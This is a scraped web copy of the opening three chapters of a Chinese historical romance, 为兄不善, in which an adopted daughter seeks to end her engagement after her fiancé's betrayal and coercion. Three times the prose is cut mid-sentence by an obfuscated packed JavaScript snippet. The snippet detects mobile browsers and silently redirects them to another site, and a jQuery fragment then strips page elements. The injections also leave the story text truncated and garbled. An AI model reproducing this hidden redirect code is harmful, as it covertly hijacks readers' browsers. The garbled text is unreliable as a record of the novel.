《为兄不善》 1. 第一章 炎炎正午,日光火辣辣地落下来,庭前的青石被晒得滚烫。 祁泠站在院中,唇色发白,额头沁出一层细密的汗珠。单薄的身子受不住这般日头,素色衣裙摇摇欲坠,有中暑的势头。 侍女银盘看不下去,上前一步搀住她胳膊,心疼又愤愤道:“卢家真是欺负人,早早将女娘子唤来,却以有贵客在的由头让娘子等着、候着。贵客,再贵的客能有府上未过门的少夫人重要吗?” 祁泠闻言,抚上银盘的手,温声安慰着:“我没事。” 祁泠抬眸望去,为她引路到后宅的仆妇正坐在廊庑阴凉处偷着闲,时不时觑一眼庭下的主仆两人,眼神颇有几分幸灾乐祸。 而在仆妇身后,正屋的门紧紧闭着,仿佛代表内里女主人诉说对她的不待见。 祁泠忍着发晕失力,站直身子,提高声量对着廊下的仆妇道:“劳烦妪姆再通传一番,我母亲卧床养病,我需在侧侍疾,若夫人今日无空,我便改日再来。” “才等了小半个时辰……”仆妇嘟囔着,一抬头对上祁泠的眼,她面色苍白,但那双眼清澈又明净,直直看着人时,透亮地仿若能看清人心。仆妇愣了一下,随后慢吞吞站起身,推门进了屋。 不消半刻,仆妇掀帘出来,“祁娘子,夫人请。” 祁泠随着仆妇一同,走过不长的廊庑,进入等待许久才得以入内的堂屋。 堂前高挂着“室雅兰香”四字,两侧摆着水墨屏风,正位端坐着一位妇人,一袭深衣,簪金玉步摇为饰,不尽华贵。 正是卢夫人,她端起一旁的茶盏,抿一口茶水,未抬头,语气平淡:“我娘家有贵客到,未曾想与你碰到了一处,不大巧,倒是让你在外多等了些。” 若知贵客要来,为何命人去祁府寻她来?即使撞上了,也大可让她去客房候着,为何要让她在院中晒着,左不过是寻个说辞,责难她罢了。 婆母为大,儿媳只有忍着的份,以后这样的事,还多着呢。 祁泠心知肚明,也只能俯身行礼问安,“不知夫人今日唤阿泠来有何事?” 卢夫人掀起眼帘扫了一遍祁泠,女娘正是窈窕年华,玉颜莹润,旁人花钿满头不及她素颜桃面。她轻笑道:“旁人皆赞慕容家的女儿好颜色,殊不知真姝色躲在江州一隅,还偏巧让我儿遇见了……” 祁泠垂着眸,没接话。 “也便不能怪我儿魂牵梦萦,不顾反对,着了魔要娶你为妻。他闹,便随了他,但——” 说到此,卢夫人竖起眉一声冷哼,话锋一转,语气尖锐,“即将嫁做人妇,难道没人教你为妻之道?还未成亲就管到夫君的房中事上了,传出去真是令人笑话,一个妓子通房都容不下,拈酸吃醋尽显小家子气,有婚约在,你便可如此放肆么?” 原来今日是为此事。 这几日压得祁泠心头发闷的事被她这般轻易说出来,反倒成了祁泠的错处。 说起婚约,这门亲确实是祁泠高攀。 祁卢两家皆为士族,祁家百年大族,子孙昌盛,若论地位高于卢氏。但祁泠非祁家亲生,被二房夫人收留,未上族谱,只算养女,便矮上一头。 祁父祁观复十年前自请外任,去往江州任单车刺史,祁泠遂随养父养母离开建业,在江州长大。 三年前,卢将军被任命为江州都督,与祁观复共管江州事。独子卢肇月去江州探望父亲时,遇见祁泠,一见钟情,要聘她为妻。 祁家夫妇本就因祁泠愈发过盛的容貌而忧心她的婚事,正巧彼时出现的卢肇月家世清贵,虽无长处,可相貌俊秀,为人良善,不失为夫婿的好人选。两家就此定下婚事。 当远在建业的卢母得知此事时,婚约已成。纵使她不满祁泠只是个养女,但祁家有祁家大房坐镇,不容欺负,她只能憋屈认下。 去岁年末,先帝因病过世,皇太弟登基,祁父和卢将军都被调任回建业,两家的婚事也筹备起来,婚期定在六月。如今算来,只剩月余。 但前几日,祁泠从关系不佳的庶姐祁云漱那听得,卢肇月月前狎妓留宿烟花之地,甚至将人带回家中,为此生出许多闲言。 祁泠不信旁人所言,传书信与卢肇月相询此事。 当今士族门阀子弟,私下浪荡风气甚重。但祁泠一心想寻一位两心相许的夫君,当初本不愿同卢家结亲。 是卢肇月当街拦住祁泠的马车。 车马人流涌动中,少年涨红了脸,站在路中央抬手对天发誓,若能娶祁家阿泠为妻,定视若珍宝,此生只守一人。 世间几人能如此? 更何况少年意气风发,满腔赤诚,祁泠心软应下。这桩事至今还是江州城内佳话。 时过境迁,卢肇月的回信中意思十分含糊,没仔细解释当日情形,只再三保证定不负她。 这事今日却直接闹到了卢夫人面前。 自打祁泠回到建业,曾见过卢夫人几面,每次都不缺嘲讽嫌弃。这是未来的婆母,卢肇月又许诺在先,故而先前祁泠一再退步忍让。 但此事祁泠不愿再退,故开口:“不生二心,不纳妾室通房是泛思提亲时主动提及,非我迫他。他狎妓以至满城风雨,而我写信相询,不觉有错。” “真是荒谬!”卢夫人气得掷茶盏于桌上,重重一声响,吓得人心头一颤。 她未曾想到祁泠竟敢出言顶撞,一个孤女哪里来的胆子,“我卢家三代单传,若你无子,我儿还要绝后不成?” “再者,这事也与你们祁家脱不了干系,祁三郎带泛思同去,他怎会拒绝?” 祁家三郎。 祁家大房独子,父亲镇守北关,威震一方,母亲出身士族之首的慕容氏。 家世显贵自不提,祁三郎又品性极好,风光霁月,世人倾慕。年少曾与名士清谈,百人围观,方过十四却不输分毫,字字珠玑,学识风采过人。 世人称其琢玉郎,神姿风彻,郎艳独绝,世无其二。 如此人物,是名门子弟皆有心结交。 算起来,这还是祁泠的堂兄,但她与这位有名的堂兄不熟,也不知晓卢肇月为何会同堂兄牵扯到一处,令其沾上污名。 祁泠蹙眉,“夫人莫要牵扯旁人。” 卢夫人回过味来,祁家旁人她自问得罪不起,便不再提,“要嫁进卢家做媳妇,大度是少不得的。泛思的表妹过几日会到,你要做表嫂的,陪她逛逛建业,以后相处的时候还长。” 说到此,她以手支额,阖上双目,只撂下一句,“这些闲事闹的我乏了,今日你先回去罢。” 祁泠亦不想在祁家多留,敷衍行礼告退,转身时瞥见屏风后一角粉色女子衣袍,她脚下一顿,随即快步离开。 马车走在大道上,车马压过碎石发出辚辚声响,窗外闹市喧嚣声不止,祁泠的心也乱作一团。 银盘年岁小,藏不住话,在她身侧喋喋不休,“卢家欺人太甚!当真以为祁家无人呀?娘子也是祁家三娘啊……那话是何意?哪有正妻还没过门,就将表妹接来府上长住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大人在那院……夫人怕小娘子过了病气,将她送去了老夫人处。”嬷嬷叹了口气,带着祁泠往外走,也劝祁泠,“男子三妻四妾是常事,娘子不要太计较这个。” “大人和夫人年少夫妻,年轻的时候不也是鹣鲽情深,又有什么用,如今不还是歇在那边的日子多么?娘子嫁去卢家,早生个男孩才是要紧,不要像夫人这般命苦……” 祁泠沉默良久,嗯了一声。 …… 窗棂支开了半扇,晚风吹拂,携着白日吝啬给予的凉意,素色衣衫被风吹拂,衣角翩飞,祁泠支着下颌,望着窗外。 祁泠的住处在正院后面的辛夷阁,正院冷冷清清,灯火昏暗,女主人还未醒来。而旁边的馨院暖意融融,欢声笑语,是柳姨娘的居所。 冯夫人进门三年无子,祁观复纳柳氏为妾,柳氏肚子争气,次年生长女祁云漱,又过一年生子祁雪峤。 冯夫人太过孤寂,抱养祁泠进府来。七年前才得一女祁云漪,但也伤了身子,此后缠绵病榻。 冯夫人曾同祁泠再三嘱咐,不要同她一般悲哀。 可如今,嫁入卢家的日子得以窥见。 卢肇月忤逆不了母亲之意,而她的出身被婆母视为耻辱,今日罚站,明日刁难。卢肇月也毁两人之约,纳妓为妾,还有寄住的表妹对平妻之位虎视眈眈。 夜深几许,祁泠无法入睡,那念头恍若野草,生生不息,扰得她神思不宁—— 这样的卢家,她不想嫁。 2. 第二章 次日,淮河附近的西街上人声鼎沸,摩肩擦踵。河岸旁伫立着一家又一家店肆,内里歌舞不断,酒香四散。 最具声名的沧浪楼二楼,正中间的窗子微敞着。里面两人说得枯燥无味,谢子青听得耳朵烦,索性将窗子推得更大些,眼神瞄着街上,说不定能看见熟人呢? 毕竟淮河两岸有最能混淆视听,避人耳目的去处。 俄顷,他目光一定,突然扭头,朗声笑起,“三郎,瞧,你们家又来了人。” 他口中的三郎淡道:“是便是,何故大惊小怪。” 各家族的马车皆有徽记,祁家徽记算是低调,在车厢角纂刻一黑漆祁字。马车停在淮河桥处,一位女娘同侍女隐入人流,缓缓朝这边走来,不想惹人注意,偏让谢子青这个眼尖的看见了。 那女娘带着长至腰间的幂篱,轻纱覆面,只叫人看见朦胧轮廓。 一群小童追逐嬉闹跑过,不是谁的手勾住幂篱下坠着的琉璃珠子,幂篱被勾掉在地,溅起沙石如烟。 “娘子!”银盘一声惊呼,忙俯身去捡幂篱。 可已晚了,路过的人三三两两看清了女娘容貌,时人尚美之心甚重,得遇此佳人,难能移开目光。 乌发梳云鬓,只一珠钗为饰,眉如远山黛,剪水双眸澄澈,唇似桃花艳,一身淡月白的衣裙,端得是皎皎如明月的美人模样。 祁泠对旁事素来豁达,掉了便掉了,已到地方,她接过染灰的幂篱,拿在手上,抬步往里,“走吧,无碍,莫要误了时辰。” 昨晚决定退婚,她便传书信给卢肇月,邀他尽快一见。 带着幂篱本意是想遮掩一番。大魏民风开放,有情人相约也无可诟病,可祁泠意在退婚,自要私下相会。 主仆两一前一后的身影走进酒楼,在二楼看不到了。 谢子青收回目光,身子往前探,热络问着对面的男子:“三郎,这是你哪位妹妹啊?我怎么瞧着眼生得紧。” 祁清宴瞥他一眼,毫无情绪丢出三个字:“不认识。” “怎会不认识?”谢子青一惊:“你莫不是没看清?不对啊……你我皆坐在窗边,方才随我一同看下去。我看得分明,以你的目力,怎会看不清?” 一蓝衣锦袍男子坐在内里,被笼在阴影中,不觉笑道:“不是三郎没见到,是怕你惦记上他的妹妹。” “我哪里是不知分寸的人?只是想打听下,再遇见能认出来罢了。”谢子青忽而扼腕长叹,“若是从前么,倒也不是不行,可如今新帝上位……” “谢祁两家绝无婚媒之约。”蓝衣男子添道。 流水的皇帝,铁打的世家。 可这位新帝、旧日的皇太弟将世家大族看作眼中钉、肉中刺,恨不得将其连根拔起,又怎会容许祁谢两大家族联姻? 就连士族之首慕容氏都低调下来,将族中寄予厚望的小辈召回本家,怕被不知分寸的新帝拿来立威。 “三郎,你也要注意些。”念及祁清宴和慕容家的关系匪浅,他语气不免担忧。 祁清宴闻言笑了笑,唇角挂着几分嘲讽弧度,半垂的眸中神色不明,刚要开口,旁边的客房突兀传来说话声。 他遂喝起茶来,不再言语。 谢子青和另一人面面相觑,不约而同也噤了声。 这间酒楼位置好,常年客满为盈,雅间又密闭,是个密谋的好地方。只二楼中间这一间从不对外,是为探听情报所用,能将四周屋子的声音听得一清二楚。 隔壁雅间,祁泠和卢肇月在此相会。 卢肇月托父亲的关系在执金吾手下挂了个清闲的职,晌午抽空闲过来,因为来见祁泠,他特意换了一身常服。 他进门一眼见到祁泠,女娘端坐于案几旁,露出一面莹润侧脸。他眉梢不觉挂上笑意:“阿泠妹妹,我以为你生我的气,成婚前都不会与我相见了。” 等卢肇月走近,祁泠抬头,他看清她没有甚么笑意的眼,他的笑便也僵在嘴角。 是他太欣喜,一时忘了两人的嫌隙。 自从回到建业,卢夫人见祁泠前总寻由头将他支远。祁泠又不像其他女娘那般常出门游玩赴宴,只呆在家中侍奉母亲,亦不允他私下见面的请求,因此两人许久未见了。 他坐在祁泠身侧,讨好拉过祁泠袖中的手,拿出怀里东西,小心翼翼放在祁泠手心,恳切道:“阿泠妹妹,我前些日在吴郡遇到一块暖玉,一路随身带着,只盼着能早日见到你。” 祁泠的手一向凉。 在江州时约束少些,两人定婚后曾一同踏春出游。 刚定亲的郎君女娘并肩而行,卢肇月无意间碰到了祁泠的手。祁泠还没有什么反应,他却大惊失色,急急问她,手为何如此凉,莫不是吹风冻到了。 当时也是夏日,江州比建业还热呢,在街上走一圈,都要担心中暑的。 祁泠用帕子捂唇,被他逗得先笑了一阵儿,随后才有空解释是她身子弱,手才凉。 卢肇月明白过来,羞赧得耳后红了一片,此后将这事记在心里,但凡遇见补身子的好东西都要送给她。 沾染他胸膛热意的暖玉躺在手心,祁泠的心里泛酸,这两年她不知收到多少稀罕又贴心的礼物。 虽她迟钝,不知情爱滋味,但人心都是肉长的,怎能毫无一点真心? 这几年,卢肇月待她是好,好到惹了卢夫人的眼,认为卢肇月哈巴狗似的围在她身边,丢了面子,才更不喜她。 她抬头与卢肇月四目相对,他眼中的关怀不是作假,但还有一瞬躲闪。若是要做夫妻,就不能有隐瞒,她问:“你去了吴郡?” 听她未提旁的事,卢肇月心下松了一口气,俊秀的面容轻快起来,嘴角又浮现了梨涡,“舅父擢升扬州别驾,下月将去赴任,母亲命我去一趟吴郡,先将舅母和表妹接来建业。昨日我想去见你,但要替舅父打点上头关系,这才没赶上。” 那便对上了。昨日祁泠在卢家见到的人就是他表妹了,她在院中晒着等,而卢夫人和侄女在屋里亲近叙话。 卢肇月怕她误会,又急急解释道:“阿泠妹妹,舅母和表妹只是来小住,母亲说要给表妹在建业寻个夫家。约莫着我们成了婚,观了婚仪,她们也该走了。” 他说话时,试探地一点点笼住祁泠柔软的手。他的手掌干燥又炽热,声音温柔而亲近,“阿泠,我只心悦你,你不要因为旁事生气,好么?” 祁泠的心难免有一点动摇起来。 卢肇月待她的好令她动容是一方面,再者,退婚也不是件容易事,世间对女子多苛刻,以纳妾通房这样的名头退婚,是行不通的。 若他只是一时糊涂,以后会守诺呢? 她望着两人相握的手,问道:“前些时日闹得沸沸扬扬的……到底是怎么回事?” 卢肇月有一瞬间的愣怔,随即将祁泠的手握紧,怕她松了手,才慢吞吞地说:“那日人多,我被灌醉了酒,头疼得不行,有人扶我回屋休息,我错将人当成了你……醒来大惊,她自道身世可怜,求收留一段时日,我一时不忍……后本欲将她送走,但母亲不允……” 祁泠听着难受,也发觉了一点异样。回想着卢夫人的态度,之前卢夫人一直维持着她贵夫人的风度,暗暗嘲讽,昨日却将事摆到明面上说。 卢肇月又言辞不详,故作镇定。她看着卢肇月的眼,不错过他任何神情:“你不要骗我,泛思,你知道我的。若是不彻底弄明白,我不会罢休。” 卢肇月丝毫不怀疑她的话。 当初卢父被他缠得不行,只好上门拜访祁家,有提亲之意,祁家夫妇却婉言相拒。 听说是祁泠不同意。她虽不是亲生的女儿,但祁家待她不错,婚事上听她意见。 卢肇月十分不解,她的身份这样低,说好听些是祁家的养女,但实际生父生母不明,连清白人家的女儿都比不上。他好不容易才说服父亲去提亲,她为何还会拒绝? 后来,他从同祁泠交好的手帕交处打听到,她要寻一位一心一意的夫婿。 他一开始也觉怪异、不解,普通男子多是三妻四妾,更何况世家子弟。他父亲敬重他母亲,可还有一后院的年轻妾室通房,男子怎能只守一人? 但卢家多次上门提亲,祁家都拒了。 卢肇月少年恋慕一人,哪顾得了其他,妄图私下寻到祁泠表明心迹,可她多次避而不见,从未与他叙话,以免落人话柄。 直到他当街拦车许诺,她才应婚。 她犟得很。而且瞒得了一时也瞒不了一世,婚期将近,她多生一阵气罢了。 茶水的热气四散,两人都没说话,渐渐只留余温。 良久,卢肇月才开口,声音有些低,“她有了身孕。母亲将人扣下了,说若我不纳妾,就必须留下这个孩子。” 祁泠宛如被泼了盆凉水,从内冰到外,脑子一片空白,手脚不听使唤,一时不知如何反应。 卢肇月紧张道:“阿泠、阿泠妹妹,你放心,我知晓我们的约定,等孩子生出来,我会将人送走,留下孩子养在你身边。” 祁泠听不进去他的话,脑子里满是冯夫人。一开始祁观复纳妾,也是要将孩子留在主母身边,可柳氏苦苦哀求,冯夫人心善,不忍,将孩子留给生母。 然后呢……冯夫人没了夫君,在家中与外人无异,华发早白,冷凄半生。 “……婚前有子,已是失德,寻个由头,我们退婚吧。”祁泠的思绪乱极,死死攥着手,话却不自觉说了出来,冷静的很,连她自己也想不到。 “阿泠!怎能全怪我?”卢肇月惊诧于祁泠轻易能说出退婚二字,以为她闹闹、置气一阵就过去了,他才同她说的。 “当日是祁三郎邀约,我、我顾念那是你堂兄,与你是一家人,才去赴宴。退婚?阿泠,我们间的情谊就如此浅薄么?” 祁泠浑身发冷,冷到她深呼吸才能遏制住发抖,她并不言语,只推着他的手,用力想把手拿出来。 但卢肇月突然俯身,两只手压过去。祁泠两只胳膊被用力按在墙上,这个姿势禁锢得她动弹不得,只能被迫仰头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583789|171632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看着他。 他看她的目光不再温柔仿佛能包容她所有,反倒带着偏执,盯着她,一字一句道:“阿泠,可以将人发卖、处死了,没人会知晓孩子是谁生的,你就是亲母。” “这只是一桩小事。”他加重语气,强调着。 祁泠到此才算彻底心寒,眼眸倒影着他狰狞面容,打心底里生出恐惧来,压根再说不出话。 “对不住,对不住。”卢肇月反应过来吓到她了,又不想松手,两只手紧紧抱着她。馨香温软满怀,他靠在她脖侧,不断重复低语,“阿泠,阿泠,我绝不会退婚,绝不会与你退婚。你答应过我,你是卢家的妻。” 他贴上来的那一瞬,祁泠心头涌起尖锐的抗拒和厌恶感。在此刻她隐约意识到,或许卢肇月对她不是喜欢,而是势在必得。 她挣脱不开卢肇月,抵不过他的力气,两人共处一室,她脸色发白,嘴唇颤抖道:“好。你要说到做到。” 卢肇月望她许久,才道:“好。” 室内只余凉了的茶,两人相继离开。 …… 熟悉的面庞变得可怖,梦中向她袭来,而她丝毫动弹不得,哭喊也无用。 祁泠猛然睁眼,呼吸急促,冷汗浸透衣裙。 “娘子!娘子,快醒醒!” 一声声娘子钻进耳朵里,祁泠许久才回神,眼前的人影逐渐清晰,熟悉的面容带着担忧之意。 是平常在冯夫人身边伺候的玉盘。 她奉冯夫人命而来,此刻见祁泠浑身汗涔涔,明明在看着她,但眸子空洞又茫然,呆愣愣不说话的样子,当真让人心疼。 玉盘一下又一下顺着祁泠的背,“娘子是被梦魇住了,莫怕,莫怕。”又转头对着门口没眼力见的小侍女低声斥道:“还不去给娘子沏热茶来。” 小侍女腿脚快,暖和的茶水很快入了口。 祁泠靠着雕花的架子床,呼吸沉且乱,她捧着热茶暖手,惊悸未散,抬头看见送茶来小侍女的陌生面庞,问道:“银盘呢,怎不见她?” 从茶楼归来,祁泠用不下膳食,一直昏昏沉沉靠在床榻处,记得睡前银盘还陪在她身边。 “银盘在夫人那儿回话呢。”玉盘回道。她是银盘的亲姐姐,连带着对祁泠也真了几分心,想了想又添道:“今日的事,夫人都知晓了。卢家确实过分,夫人也被气到了……” “同男子私下相会,是谁给你的胆子!?”传来的声音带着怒意,但中气明显不足,内室的门也被推开,发出吱呀的响儿。 玉盘忙站起身,对来人俯身道:“夫人。” 冯夫人被嬷嬷搀着走进来,上穿淡蓝底子刺绣对襟褂子,搭着暗色的综裙,她这一年消瘦得厉害,去年裁的衣裙,今天瞧着又空荡了。 她板着一张脸,曾经姣好的面容瘦得挂不住肉,敷上一层脂粉,难掩憔悴。 这几日先被卢夫人刁难,又被卢肇月吓到,酸涩的委屈涨在眼中,祁泠见到冯夫人,甫一呼吸,委屈就噼里啪啦落了下来。 冯夫人见她哭得这般快,声音到底没那么凶了,但接着训斥她:“你哭甚么?你还有理不成?若是今日没了清白,你便是哭死,骨头也只能埋在卢家了。” “母亲,我只是……没有旁的办法。”祁泠说着,泪也溢了出来。 她父母亲缘浅。小时候不知情,过了几年无忧无虑的日子,自打知晓身世去了江州,养父养母与她再亲厚,也不如亲子亲女,到底疏远了一些。 但作为祁家养女,她从小衣食不缺,还没及笄,婚事就定了下来。围在她身边的郎君大多表现出有礼温和的一面,她想不到卢肇月会突然翻脸。 玉盘拿软垫过来,铺在杌凳上,嬷嬷扶着冯夫人坐下。 冯夫人捂唇咳了一阵儿,缓过劲儿来,嗓音带着点哑,“冯家的事我都听银盘讲了。卢夫人心比天高,为人刻薄,不是好婆母,卢肇月恐怕也非良婿。” “但阿泠,男子大多薄情,日子还要自己过的。” 祁泠低着头,说话带着浓重的鼻音:“母亲,我想过凑合的,可今日过后,我怕他。他能杀一个无辜、即将为他孕育子嗣的女子,又怎会真心待我?” 冯夫人抬手抚摸着祁泠还有些稚嫩脸庞,将她脸上沾了汗和泪、黏腻的发掖到耳后,“不是卢家,你也要嫁人的,不管因何退婚,你再寻的人家恐怕比不上卢家富贵。” 祁泠摇头,眼中泪不断往下掉,她从未想过要高攀谁家,若不是卢肇月从前信誓旦旦,她宁愿嫁在江州普通人家,“母亲,阿泠只想寻一良善夫婿,他真心待我就好,不求其他。我不想嫁去卢家了,我怕。” 怕什么呢? 冯夫人当然知道,她静默良久,郑重问:“阿泠,你当真要退婚?为此吃多少苦都愿意?” 祁泠自己就是失了亲娘的孩子,不想旁人因她丧命,骨肉分离。也不想成为第二个冯夫人。 冯夫人妥协,同她道:“轻易退婚卢家不会善罢甘休。阿泠,若想退婚,你只能去求一个人。” 3. 第三章 “谁?”祁泠恍若抓住救命稻草般握住冯夫人的手,眼波中盈满期盼。卢家如今对她来说如同火坑,她不想再往进跳。 冯夫人语气平静:“你祖母,祁家的老祖宗。” “祖母?”祁泠含泪的潮湿眸子因惊讶而睁大。她一向相信冯夫人的话,但怎么也想不到,母亲让她去求的人是祖母。 祁家的老夫人,姓沈,是前朝郡主。前朝覆灭时,她已嫁人生子,未受牵连。 沈老夫人年少丧夫,独自将两子一女养大。长子祁观颐子承父业撑起门楣,娶了慕容氏的嫡女,长房只一独子祁清宴。 次子祁观复娶妻冯氏,冯氏嫁进来无子,又纳柳氏。二房统共一子三女,柳氏生祁云漱、祁雪峤姐弟,祁泠和小娘子祁云漪由冯氏所养。 幼女祁观岚早年出嫁,夫家在谋逆案中获罪,满门抄斩。祁观岚和离带着子女归家,幸免于难,老夫人心疼女儿,留其在祁家长住,索性称作三房。 祁家二房去江州前,祁家人都住在一个宅子里。 那时的祁泠不知晓身世,以为自己是祖母嫡亲的孙女,曾去亲近过沈老夫人一段时日。 祁泠与柳氏生的姐弟俩年龄相仿,三个二方的孩子白日里常去老夫人的院子玩。 沈老夫人明显更亲近姐弟两个,祁泠还小,不懂事,但已经能从大人的眼神举止中看出区别来。 她哭得十分委屈,小脸蛋上挂满泪水,缠在老夫人腿上,嚷着要祖母抱,任凭谁来也拉不走。 沈老夫人看她的眼神复杂,但最后拗不过她,还是抱她起来。她满足地趴在祖母的肩膀上,小脑瓜被摸了摸,耳边响起一声叹息。 若干年后,在江州见到旁人的祖母,祁泠恍然回想起那时情景,才明白原来沈老夫人的眼神是无奈,或许还夹杂着一点对她的怜悯。 如今祁家不住在一起了。 虽未分家,但二房一走十多年不归,这家也分了一半,原来二房住的地方被三房占去。今年重回建业,在祁家旁边重修了小宅子,与祁家老宅用小门连着,平日不常走动。 亲情到底是随着时间淡化,情分被消磨得所剩无几。 故而祁泠才不安,她不是老夫人亲生的孙女,中间又隔着将近十年未见。重回建业,她也只去给老夫人磕了头,自知身份,不敢再去亲近沈老夫人。 祖母如今会帮她退婚么? 冯夫人看出她的小心思,“阿泠,再没人能指望了,你父亲有心爱的妾室儿女,不会赞同你因此退婚。” 祁泠问:“若祖母也不允怎么办?” 冯夫人笑了,她素来是个温柔性子的人,今日发火也是气祁泠思虑太少,此刻说出来的话语气极柔却吓人一跳,“你便在老夫人的瑞霭堂前跪着,她不允,你不起身。” 次日的天,灰蒙蒙的,阴云堆压至屋檐,空气潮湿难忍,闷得让人喘不过气来。 老夫人居所是祁家最大的,自有一片大院子,但老夫人性情怪,不喜花,只稀罕草。院中到处摆奇石,种怪草,隔出来的小道也多,而祁泠正跪在院中最靠近堂前的那条小道上。 早上冯夫人起早梳妆,带着祁泠从小门去了老宅,直奔瑞霭堂。 冯夫人留祁泠在外候着,自己先进去见老夫人,老夫人将所有侍从都遣了出来。大约过去半个时辰,冯夫人面色不好地出了门。 比昨日说的更糟,祁泠干脆连老夫人的面都没见上,她按照冯夫人的意思,跪在这里,从辰时开始已经跪了一个多时辰。 膝盖被小路上的石子被硌得发疼,定然青紫,来回的侍从路过她时屏气凝神,目不斜视,都避免发出太大的声响,将她看作透明人。 祁泠孤零零跪在这里。 一声闷雷炸响在天际之间,雨随之砸落。 老夫人身边侍女冒雨小跑过来,对一直跪着不起身的祁泠劝道:“三娘子还是快起来吧,老夫人用过早膳,又歇下了,女儿家的身子最重要。娘子何不改日再过来拜见?” 祁泠认得,这是老夫人身边的极有脸面的听荷,她说的话就是老夫人的意思。但她来前被冯夫人再三嘱咐过,不能走,不能动,和卢家的婚期不过月余,再不退婚,就改不得了。 她知晓自己所做是逼迫,上不得台面,垂下眼眸:“听荷姐姐,今日见不到祖母,我不会回去的。 听荷当真左右为难,也不能看主子跪在这里不起身,老夫人又在置气,不理会二房,一时不知她也不知该如何是好。 雨丝连绵,她目光偶然瞧见远处廊庑走来的身影,顿时如蒙大赦。 听荷暂不管祁泠,匆匆几步小跑过去,俯身行礼:“问郎君安。郎君怎得今日归府了,待会儿老夫人见到三郎君可要高兴得不得了了。” 那人笑起,声音恍若玉石落溪,清泠泠的,透过雨帘传入祁泠耳中,“今日无事,颇为想念祖母,便来一趟。” 听荷的声音含笑,“这样好听的话,郎君快入内同老夫人说罢。” 听到三郎君,祁泠就知道来的人是谁了。 果然亲疏有别呐,她暗暗想。不过也是,一个是嫡亲的孙子,承担着家族未来的光辉,说着亲近讨巧的话。而她呢,一个捡来的孩子,害了祁府名声,如今又拿着这般为难的事来求,确实讨人嫌。 要不要与他问个好呢? 还是算了,她与这位堂兄素来没交际。她小时在祁府的那几年,他被送去慕容家了,两人连小时情谊都没有,今日又在这样不堪的情况遇见。 祁泠垂着头,只静静跪在她的角落。 见祁清宴的目光看向园中跪着的娘子,听荷低声对他道:“这是二房的泠娘子,要与卢家退婚,二夫人早上来寻老夫人一趟,老夫人没答应,二夫人将她留在这,在等老夫人心软呢。” 祁清宴没说话,脚步也没停顿。 听荷立刻止声,落后两步跟着。祁家的三郎君,性子倒是好,可也得在他乐意时,否则不会搭理这些杂事的。 雨忽而下大,砸的祁泠眼睛快要睁不开了,她将头埋得更低。听见门开的声音,微微抬眼,见一角衣袍进了屋。 祁清宴走进瑞霭堂,听荷接过他手中的伞,动作间几滴雨水溅落在他手上,他垂眸看了一眼。 今日阴霾,瑞霭堂内也昏暗,屏风后的两盏架子灯的光微乎其微,罗汉榻上坐着一位老夫人,翠绿抹额,一身舒适柔软的锦衣,她抬头看见来人,脸上褶皱也舒展开笑意。 祁清宴走到堂中,弯腰给老夫人做了个揖,“多日不见祖母,祖母风采更胜往昔。” 老夫人红光满面,笑得合不拢嘴,道:“就你这张嘴会说。”老人家图个清闲,早将府中中馈丢给大儿媳去管,也不折腾小辈,只初一十五各房起个早来拜见她就是了。没有闲事扰身,日子过得自是安稳悠闲。 堂内伺候的小丫鬟端着铜盆进门,沈老夫人瞧见了,给祁清宴指了指,“快去净个手。” 祁清宴心有此意,自是遵命。两只修长匀称的手泡进温热的水里,洗去沾染的雨水。 丫鬟瞧着,适时取下架子搭着的巾子,双手捧着递过去。 祁清宴瞥一眼,没接,反倒自己抬手拿走架子上挂着的另一个干净帕子。 沈老夫人见此朝旁边的听荷撇撇嘴,“不必伺候他殷勤,他嫌,这人怪着呢。” 小丫鬟羞愧得垂着脸,不敢抬头看,弯腰行了礼,端着东西下去,脚步到底比来时快多了。 “到底还是年轻好啊,我这里的丫鬟见你来,活做的都麻利多了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583790|171632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老人家不免感慨。 祁清宴笑着走过去,坐在沈老夫人对侧,用帕子仔细拭着手,“若是做的不好,不如孙儿将人都换上一批,挑些更好的来,省的祖母抱怨。” 堂内的侍女包括听荷都变了脸色。沈老夫人嗔他一眼,道:“何必吓唬她们,下次来前,让她们避着你便好了。只是你也忒特了,看你将来娶妻怎么办。” 这又要开始催了,祁清宴恍若未闻,将手擦得干干净净,帕子放到听荷呈过来的托盘里。 窗外雨从屋檐滑落,喧哗得整齐。罗汉榻旁是卍字的雕窗,上覆一层钉明瓦,透着雨色,隐约见得一周朦胧草绿,以及小道上跪着的娘子。 沈老夫人也看过去,良久又是一声叹息,“三郎啊,祖母老了,不想再费心劳神。你二叔母今日来,求到我这里……你听说这事了吧?她们要退了板上钉钉的婚。” “嗯。”祁清宴可真的是亲耳听到的,“倒是知道些,只是祖母为何要答应二叔母?”若是绝不答应,早就将人撵回去了,也不会任由跪在外面。 沈老夫人道:“瞒不过你,早年欠了二房一份情,如今遂了这事也罢。女儿家啊,前十几年靠着家里,嫁了人,后面几十年都要靠着夫家,嫁错人苦一辈子。你姑母就是个典例。” 